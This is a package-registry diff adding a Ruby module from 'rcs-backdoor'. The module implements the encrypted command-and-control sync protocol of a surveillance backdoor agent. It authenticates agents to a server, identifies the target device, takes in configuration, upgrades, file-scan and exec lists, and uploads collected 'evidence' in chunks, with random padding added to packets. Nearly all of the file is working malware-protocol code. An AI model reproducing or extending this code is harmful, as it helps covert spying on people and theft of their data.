rcs-backdoor 8.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,567 @@
1
+ #
2
+ # Mix-in module for the protocol
3
+ #
4
+
5
+ # Relatives
6
+ require_relative 'config.rb'
7
+
8
+ # RCS::Common
9
+ require 'rcs-common/trace'
10
+ require 'rcs-common/crypt'
11
+ require 'rcs-common/pascalize'
12
+
13
+ # System
14
+ require 'ostruct'
15
+ require 'securerandom'
16
+ require 'digest/sha1'
17
+ require 'base64'
18
+
19
+ module RCS
20
+ module Backdoor
21
+
22
+ module Command
23
+ include Crypt
24
+ include Tracer
25
+
26
+ INVALID_COMMAND = 0x00 # Don't use
27
+ PROTO_OK = 0x01 # OK
28
+ PROTO_NO = 0x02 # Nothing available
29
+ PROTO_BYE = 0x03 # The end of the protocol
30
+ PROTO_ID = 0x0f # Identification of the target
31
+ PROTO_CONF = 0x07 # New configuration
32
+ PROTO_UNINSTALL = 0x0a # Uninstall command
33
+ PROTO_DOWNLOAD = 0x0c # List of files to be downloaded
34
+ PROTO_UPLOAD = 0x0d # A file to be saved
35
+ PROTO_UPGRADE = 0x16 # Upgrade for the agent
36
+ PROTO_EVIDENCE = 0x09 # Upload of an evidence
37
+ PROTO_EVIDENCE_CHUNK = 0x10 # Upload of an evidence (in chunks)
38
+ PROTO_EVIDENCE_SIZE = 0x0b # Queue for evidence
39
+ PROTO_FILESYSTEM = 0x19 # List of paths to be scanned
40
+ PROTO_PURGE = 0x1a # purge the log queue
41
+ PROTO_EXEC = 0x1b # execution of commands during sync
42
+
43
+ PLATFORMS = ["WINDOWS", "WINMO", "OSX", "IOS", "BLACKBERRY", "SYMBIAN", "ANDROID", "LINUX"]
44
+
45
+ # the commands are depicted here: http://rcs-dev/trac/wiki/RCS_Sync_Proto_Rest
46
+
47
+ def authenticate(backdoor)
48
+ # use the correct auth packet
49
+ (backdoor.scout or backdoor.soldier) ? authenticate_scout(backdoor) : authenticate_elite(backdoor)
50
+ end
51
+
52
+ # Authentication phase
53
+ # -> Crypt_C ( Kd, NonceDevice, BuildId, InstanceId, SubType, sha1 ( BuildId, InstanceId, SubType, Cb ) )
54
+ # <- [ Crypt_C ( Ks ), Crypt_K ( NonceDevice, Response ) ] | SetCookie ( SessionCookie )
55
+ def authenticate_elite(backdoor)
56
+ trace :info, "AUTH"
57
+
58
+ # first part of the session key, chosen by the client
59
+ # it will be used to derive the session key later along with Ks (server chosen)
60
+ # and the Cb (pre-shared conf key)
61
+ kd = SecureRandom.random_bytes(16)
62
+ trace :debug, "Auth -- Kd: " << kd.unpack('H*').to_s
63
+
64
+ # the client NOnce that has to be returned by the server
65
+ # this is used to authenticate the server
66
+ # returning it crypted with the session key it will confirm the
67
+ # authenticity of the server
68
+ nonce = SecureRandom.random_bytes(16)
69
+ trace :debug, "Auth -- Nonce: " << nonce.unpack('H*').to_s
70
+
71
+ # the id and the type are padded to 16 bytes
72
+ rcs_id = backdoor.id.ljust(16, "\x00")
73
+ rcs_type = backdoor.type.ljust(16, "\x00")
74
+
75
+ # backdoor identification
76
+ # the server will calculate the same sha digest and authenticate the backdoor
77
+ # since the conf key is pre-shared
78
+ sha = Digest::SHA1.digest(rcs_id + backdoor.instance + rcs_type + backdoor.conf_key)
79
+ trace :debug, "Auth -- sha: " << sha.unpack('H*').to_s
80
+
81
+ # prepare and encrypt the message
82
+ message = kd + nonce + rcs_id + backdoor.instance + rcs_type + sha
83
+ #trace "Auth -- message: " << message.unpack('H*').to_s
84
+ enc_msg = aes_encrypt(message, backdoor.signature)
85
+ #trace "Auth -- signature: " << backdoor.signature.unpack('H*').to_s
86
+ #trace "Auth -- enc_message: " << enc_msg.unpack('H*').to_s
87
+
88
+ # add randomness to the packet size
89
+ enc_msg += randblock()
90
+
91
+ # send the message and receive the response from the server
92
+ # the transport layer will take care of the underlying cookie
93
+ resp = @transport.message enc_msg
94
+
95
+ # remove the random bytes at the end
96
+ resp = normalize(resp)
97
+
98
+ # sanity check
99
+ raise "wrong auth response length" unless resp.length == 64
100
+
101
+ # first 32 bytes are the Ks choosen by the server
102
+ # decrypt it and store to create the session key along with Kd and Cb
103
+ ks = resp.slice!(0..31)
104
+ ks = aes_decrypt(ks, backdoor.signature)
105
+ trace :debug, "Auth -- Ks: " << ks.unpack('H*').to_s
106
+
107
+ # calculate the session key -> K = sha1(Cb || Ks || Kd)
108
+ # we use a schema like PBKDF1
109
+ # remember it for the entire session
110
+ @session_key = Digest::SHA1.digest(backdoor.conf_key + ks + kd)
111
+ trace :debug, "Auth -- K: " << @session_key.unpack('H*').to_s
112
+
113
+ # second part of the server response contains the NOnce and the response
114
+ tmp = aes_decrypt(resp, @session_key)
115
+
116
+ # extract the NOnce and check if it is ok
117
+ # this MUST be the same NOnce sent to the server, but since it is crypted
118
+ # with the session key we know that the server knows Cb and thus is trusted
119
+ rnonce = tmp.slice!(0..15)
120
+ trace :debug, "Auth -- rnonce: " << rnonce.unpack('H*').to_s
121
+ raise "Invalid NOnce" unless nonce == rnonce
122
+
123
+ # extract the response
124
+ response = tmp
125
+ trace :debug, "Auth -- Response: " << response.unpack('H*').to_s
126
+
127
+ # print the response
128
+ trace :info, "Auth Response: OK" if response.unpack('I') == [PROTO_OK]
129
+ if response.unpack('I') == [PROTO_UNINSTALL]
130
+ trace :info, "UNINSTALL received"
131
+ raise "UNINSTALL"
132
+ end
133
+ if response.unpack('I') == [PROTO_NO]
134
+ trace :info, "NO received"
135
+ raise "PROTO_NO: cannot continue"
136
+ end
137
+ end
138
+
139
+ # Authentication phase
140
+ # -> Base64 ( Crypt_S ( Pver, Kd, sha(Kc | Kd), BuildId, InstanceId, Platform ) )
141
+ # <- Base64 ( Crypt_C ( Ks, sha(K), Response ) ) | SetCookie ( SessionCookie )
142
+ def authenticate_scout(backdoor)
143
+ trace :info, "AUTH SCOUT"
144
+
145
+ # the version of the protocol
146
+ pver = [1].pack('I')
147
+
148
+ # first part of the session key, chosen by the client
149
+ # it will be used to derive the session key later along with Ks (server chosen)
150
+ # and the Cb (pre-shared conf key)
151
+ kd = SecureRandom.random_bytes(16)
152
+ trace :debug, "Auth -- Kd: " << kd.unpack('H*').to_s
153
+
154
+ # authentication sha
155
+ sha = Digest::SHA1.digest(backdoor.conf_key + kd)
156
+ trace :debug, "Auth -- sha: " << sha.unpack('H*').to_s
157
+
158
+ # the id and the type are padded to 16 bytes
159
+ rcs_id = backdoor.id.ljust(16, "\x00")
160
+ demo = (backdoor.type.end_with? '-DEMO') ? "\x01" : "\x00"
161
+ level = "\x01" if backdoor.scout
162
+ level = "\x02" if backdoor.soldier
163
+ flags = "\x00"
164
+
165
+ platform = [PLATFORMS.index(backdoor.type.gsub(/-DEMO/, ''))].pack('C') + demo + level + flags
166
+
167
+ trace :debug, "Auth -- #{backdoor.type} " << platform.unpack('H*').to_s
168
+
169
+ # prepare and encrypt the message
170
+ message = pver + kd + sha + rcs_id + backdoor.instance + platform
171
+ #trace "Auth -- message: " << message.unpack('H*').to_s
172
+ enc_msg = aes_encrypt(message, backdoor.signature, PAD_NOPAD)
173
+ #trace "Auth -- signature: " << backdoor.signature.unpack('H*').to_s
174
+ #trace "Auth -- enc_message: " << enc_msg.unpack('H*').to_s
175
+
176
+ # add the random block
177
+ enc_msg += SecureRandom.random_bytes(rand(128..1024))
178
+
179
+ # add the base64 container
180
+ enc_msg = Base64.strict_encode64(enc_msg)
181
+
182
+ # send the message and receive the response from the server
183
+ # the transport layer will take care of the underlying cookie
184
+ resp = @transport.message enc_msg
185
+
186
+ # remove the base64 container
187
+ resp = Base64.strict_decode64(resp)
188
+
189
+ # align to the multiple of 16
190
+ resp = normalize(resp)
191
+
192
+ # decrypt the message
193
+ resp = aes_decrypt(resp, backdoor.conf_key, PAD_NOPAD)
194
+
195
+ ks = resp.slice!(0..15)
196
+ trace :debug, "Auth -- Ks: " << ks.unpack('H*').to_s
197
+
198
+ # calculate the session key -> K = sha1(Cb || Ks || Kd)
199
+ # we use a schema like PBKDF1
200
+ # remember it for the entire session
201
+ @session_key = Digest::SHA1.digest(backdoor.conf_key + ks + kd)
202
+ trace :debug, "Auth -- K: " << @session_key.unpack('H*').to_s
203
+
204
+ check = resp.slice!(0..19)
205
+ raise "Invalid session key (K)" if check != Digest::SHA1.digest(@session_key + ks)
206
+
207
+ trace :debug, "Auth -- Response: " << resp.slice(0..3).unpack('H*').to_s
208
+
209
+ # print the response
210
+ trace :info, "Auth Response: OK" if resp.unpack('I') == [PROTO_OK]
211
+ if resp.unpack('I') == [PROTO_UNINSTALL]
212
+ trace :info, "UNINSTALL received"
213
+ raise "UNINSTALL"
214
+ end
215
+ if resp.unpack('I') == [PROTO_NO]
216
+ trace :info, "NO received"
217
+ raise "PROTO_NO: cannot continue"
218
+ end
219
+ end
220
+
221
+
222
+ # -> Crypt_K ( PROTO_ID [Version, UserId, DeviceId, SourceId] )
223
+ # <- Crypt_K ( PROTO_OK, Time, Availables )
224
+ def send_id(backdoor)
225
+ trace :info, "ID"
226
+
227
+ # the array of available commands from server
228
+ available = []
229
+
230
+ # prepare the command
231
+ message = [PROTO_ID].pack('I')
232
+
233
+ # prepare the message
234
+ message += [backdoor.version].pack('I')
235
+ message += backdoor.userid.pascalize + backdoor.deviceid.pascalize + backdoor.sourceid.pascalize
236
+
237
+ #trace :debug, "Ident: " << message.unpack('H*').to_s
238
+
239
+ # send the message and receive the response from the server
240
+ enc = aes_encrypt_integrity(message, @session_key)
241
+ resp = @transport.message enc
242
+
243
+ # remove the random bytes at the end
244
+ resp = normalize(resp)
245
+
246
+ resp = aes_decrypt_integrity(resp, @session_key)
247
+ #trace "ID -- response: " << resp.unpack('H*').to_s
248
+
249
+ # parse the response
250
+ command, tot, time, size, *list = resp.unpack('I2qI*')
251
+
252
+ # fill the available array
253
+ if command == PROTO_OK then
254
+ trace :info, "ID Response: OK"
255
+ now = Time.now
256
+ diff_time = now.to_i - time
257
+ trace :debug, "ID -- Server Time : " + time.to_s
258
+ trace :debug, "ID -- Local Time : " + now.to_i.to_s + " diff [#{diff_time}]"
259
+ if size != 0 then
260
+ trace :debug, "ID -- available(#{size}): " + list.to_s
261
+ available = list
262
+ end
263
+ else
264
+ trace :info, "ID Response: " + command.to_s
265
+ raise "invalid response"
266
+ end
267
+
268
+ return available
269
+ end
270
+
271
+
272
+ # Protocol Conf
273
+ # -> Crypt_K ( PROTO_CONF )
274
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ Conf ] )
275
+ def receive_config(backdoor)
276
+ trace :info, "CONFIG"
277
+ resp = send_command(PROTO_CONF)
278
+
279
+ # decode the response
280
+ command, size = resp.unpack('I2')
281
+ if command == PROTO_OK then
282
+ trace :info, "CONFIG -- #{size} bytes"
283
+ # configuration parser
284
+ config = RCS::Config.new(backdoor, resp[8..-1])
285
+ config.dump_to_file
286
+ # we have received the config correctly
287
+ send_command(PROTO_CONF, [PROTO_OK].pack('I'))
288
+ else
289
+ trace :info, "CONFIG -- no new conf"
290
+ end
291
+ end
292
+
293
+ # Protocol Upload
294
+ # -> Crypt_K ( PROTO_UPLOAD )
295
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ left, filename, content ] )
296
+ def receive_uploads
297
+ trace :info, "UPLOAD"
298
+ resp = send_command(PROTO_UPLOAD)
299
+
300
+ # decode the response
301
+ command, tot, left, size = resp.unpack('I4')
302
+
303
+ if command == PROTO_OK then
304
+ filename = resp[12, resp.length].unpascalize
305
+ bytes = resp[16 + size, resp.length].unpack('I')
306
+ trace :info, "UPLOAD -- [#{filename}] #{bytes} bytes"
307
+
308
+ # recurse the request if there are other files to request
309
+ receive_uploads if left != 0
310
+ else
311
+ trace :info, "UPLOAD -- No uploads for me"
312
+ end
313
+ end
314
+
315
+ # Protocol Upgrade
316
+ # -> Crypt_K ( PROTO_UPGRADE )
317
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ left, filename, content ] )
318
+ def receive_upgrade
319
+ trace :info, "UPGRADE"
320
+ resp = send_command(PROTO_UPGRADE)
321
+
322
+ # decode the response
323
+ command, tot, left, size = resp.unpack('I4')
324
+
325
+ if command == PROTO_OK then
326
+ filename = resp[12, resp.length].unpascalize
327
+ bytes = resp[16 + size, resp.length].unpack('I')
328
+ trace :info, "UPGRADE -- [#{filename}] #{bytes} bytes"
329
+
330
+ # recurse the request if there are other files to request
331
+ receive_upgrade if left != 0
332
+ else
333
+ trace :info, "UPGRADE -- No upgrade for me"
334
+ end
335
+ end
336
+
337
+ # Protocol Download
338
+ # -> Crypt_K ( PROTO_DOWNLOAD )
339
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ numElem, [file1, file2, ...]] )
340
+ def receive_downloads
341
+ trace :info, "DOWNLOAD"
342
+ resp = send_command(PROTO_DOWNLOAD)
343
+
344
+ # decode the response
345
+ command, tot, num = resp.unpack('I3')
346
+
347
+ if command == PROTO_OK then
348
+ trace :info, "DOWNLOAD : #{num} are available"
349
+ list = resp.slice(12, resp.length)
350
+ # print the list of downloads
351
+ list.unpascalize_ary.each do |pattern|
352
+ trace :info, "DOWNLOAD -- [#{pattern}]"
353
+ end
354
+ else
355
+ trace :info, "DOWNLOAD -- No downloads for me"
356
+ end
357
+ end
358
+
359
+ # Protocol Filesystem
360
+ # -> Crypt_K ( PROTO_FILESYSTEM )
361
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ numElem,[ depth1, dir1, depth2, dir2, ... ]] )
362
+ def receive_filesystems
363
+ trace :info, "FILESYSTEM"
364
+ resp = send_command(PROTO_FILESYSTEM)
365
+
366
+ # decode the response
367
+ command, tot, num = resp.unpack('I3')
368
+
369
+ if command == PROTO_OK then
370
+ trace :info, "FILESYSTEM : #{num} are available"
371
+ list = resp.slice(12, resp.length)
372
+ # print the list of downloads
373
+ buffer = list
374
+ begin
375
+ depth, len = buffer.unpack('I2')
376
+ # len of the current token
377
+ len += 8
378
+ # unpascalize the token
379
+ str = buffer[4, buffer.length].unpascalize
380
+ trace :info, "FILESYSTEM -- [#{depth}][#{str}]"
381
+ # move the pointer after the token
382
+ buffer = buffer.slice(len, list.length)
383
+ end while buffer.length != 0
384
+ else
385
+ trace :info, "FILESYSTEM -- No filesystem for me"
386
+ end
387
+ end
388
+
389
+
390
+ # Protocol Evidence
391
+ # -> Crypt_K ( PROTO_EVIDENCE_SIZE [ num, size ] )
392
+ # <- Crypt_K ( PROTO_OK )
393
+ def send_evidence_size(evidences)
394
+
395
+ total_size = 0
396
+ evidences.each do |e|
397
+ total_size += e.size
398
+ end
399
+
400
+ trace :info, "EVIDENCE_SIZE: #{evidences.size} (#{total_size.to_s_bytes})"
401
+
402
+ # prepare the message
403
+ message = [PROTO_EVIDENCE_SIZE].pack('I') + [evidences.size].pack('I') + [total_size].pack('Q')
404
+ enc_msg = aes_encrypt_integrity(message, @session_key)
405
+ # send the message and receive the response
406
+ @transport.message enc_msg
407
+ end
408
+
409
+ # Protocol Evidence
410
+ # -> Crypt_K ( PROTO_EVIDENCE [ size, content ] )
411
+ # <- Crypt_K ( PROTO_OK | PROTO_NO )
412
+ def send_evidence(evidences)
413
+
414
+ return if evidences.empty?
415
+
416
+ # take the first log
417
+ evidence = evidences.shift
418
+
419
+ # if the evidence is big, split in chunks
420
+ if evidence.size > 100_000
421
+ send_evidence_chunk(evidence)
422
+ else
423
+
424
+ # prepare the message
425
+ message = [PROTO_EVIDENCE].pack('I') + [evidence.size].pack('I') + evidence.binary
426
+ enc_msg = aes_encrypt_integrity(message, @session_key)
427
+ # send the message and receive the response
428
+ resp = @transport.message enc_msg
429
+
430
+ # remove the random bytes at the end
431
+ resp = normalize(resp)
432
+
433
+ resp = aes_decrypt_integrity(resp, @session_key)
434
+
435
+ if resp.unpack('I') == [PROTO_OK]
436
+ trace :info, "EVIDENCE -- [#{evidence.name}] #{evidence.size} bytes sent. #{evidences.size} left"
437
+ else
438
+ trace :info, "EVIDENCE -- problems from server"
439
+ return
440
+ end
441
+ end
442
+
443
+ # recurse for the next log to be sent
444
+ send_evidence evidences unless evidences.empty?
445
+ end
446
+
447
+ # Protocol Evidence (with resume in chunk)
448
+ # -> PROTO_EVIDENCE_CHUNK [ id, base, chunk, size, content ]
449
+ # <- PROTO_OK [ base ] | PROTO_NO
450
+ def send_evidence_chunk(evidence)
451
+
452
+ id = 0
453
+ base = 0
454
+ chunk = 50_000
455
+
456
+ binary = StringIO.open(evidence.binary, "rb")
457
+
458
+ while buff = binary.read(chunk)
459
+ chunk = buff.bytesize
460
+
461
+ # prepare the message
462
+ message = [PROTO_EVIDENCE_CHUNK].pack('I') +
463
+ [id].pack('I') + [base].pack('I') + [chunk].pack('I') + [evidence.size].pack('I') +
464
+ buff
465
+
466
+ # send the message and receive the response
467
+ enc_msg = aes_encrypt_integrity(message, @session_key)
468
+ resp = @transport.message enc_msg
469
+ # remove the random bytes at the end
470
+ resp = normalize(resp)
471
+ resp = aes_decrypt_integrity(resp, @session_key)
472
+
473
+ if resp.slice!(0..3).unpack('I') == [PROTO_OK]
474
+ trace :info, "EVIDENCE -- [#{evidence.name}] #{base}/#{chunk} bytes sent (total #{evidence.size})"
475
+ dummy, base = resp.unpack('I*')
476
+ trace :info, "EVIDENCE -- [#{evidence.name}] acknowledged base: #{base}"
477
+ else
478
+ trace :info, "EVIDENCE -- problems from server"
479
+ return
480
+ end
481
+ end
482
+
483
+ end
484
+
485
+ # Protocol Purge
486
+ # -> Crypt_K ( PROTO_PURGE )
487
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ time, size ] )
488
+ def receive_purge
489
+ trace :info, "PURGE"
490
+ resp = send_command(PROTO_PURGE)
491
+
492
+ # decode the response
493
+ command, len, time, size = resp.unpack('IIQI')
494
+
495
+ if command == PROTO_OK
496
+ trace :info, "PURGE -- [#{Time.at(time)}] #{size} bytes"
497
+ else
498
+ trace :info, "PURGE -- No purge for me"
499
+ end
500
+ end
501
+
502
+ # Protocol Exec
503
+ # -> Crypt_K ( PROTO_EXEC )
504
+ # <- Crypt_K ( PROTO_NO | PROTO_OK [ numElem, [file1, file2, ...]] )
505
+ def receive_exec
506
+ trace :info, "EXEC"
507
+ resp = send_command(PROTO_EXEC)
508
+
509
+ # decode the response
510
+ command, tot, num = resp.unpack('I3')
511
+
512
+ if command == PROTO_OK then
513
+ trace :info, "EXEC : #{num} are available"
514
+ list = resp.slice(12, resp.length)
515
+ # print the list of downloads
516
+ list.unpascalize_ary.each do |command|
517
+ trace :info, "EXEC -- [#{command}]"
518
+ end
519
+ else
520
+ trace :info, "EXEC -- No downloads for me"
521
+ end
522
+ end
523
+
524
+ # Protocol End
525
+ # -> Crypt_K ( PROTO_BYE )
526
+ # <- Crypt_K ( PROTO_OK )
527
+ def bye
528
+ trace :info, "BYE"
529
+ resp = send_command(PROTO_BYE)
530
+
531
+ trace :info, "BYE Response: OK" if resp.unpack('I') == [PROTO_OK]
532
+ end
533
+
534
+ # helper method
535
+ def send_command(command, payload = nil)
536
+ message = [command].pack('I')
537
+ message += payload unless payload.nil?
538
+
539
+ # encrypt the message
540
+ enc_msg = aes_encrypt_integrity(message, @session_key)
541
+ enc_msg += randblock()
542
+
543
+ # send the message and receive the response
544
+ resp = @transport.message enc_msg
545
+
546
+ # remove the random bytes at the end
547
+ resp = normalize(resp)
548
+
549
+ # decrypt it
550
+ return aes_decrypt_integrity(resp, @session_key)
551
+ end
552
+
553
+ # returns a random block of random size < 16
554
+ def randblock()
555
+ return SecureRandom.random_bytes(SecureRandom.random_number(16))
556
+ end
557
+
558
+ # normalize a message, cutting at the shorter size multiple of 16
559
+ def normalize(content)
560
+ newlen = content.length - (content.length % 16)
561
+ content[0..newlen-1]
562
+ end
563
+
564
+ end
565
+
566
+ end # Backdoor::
567
+ end # RCS::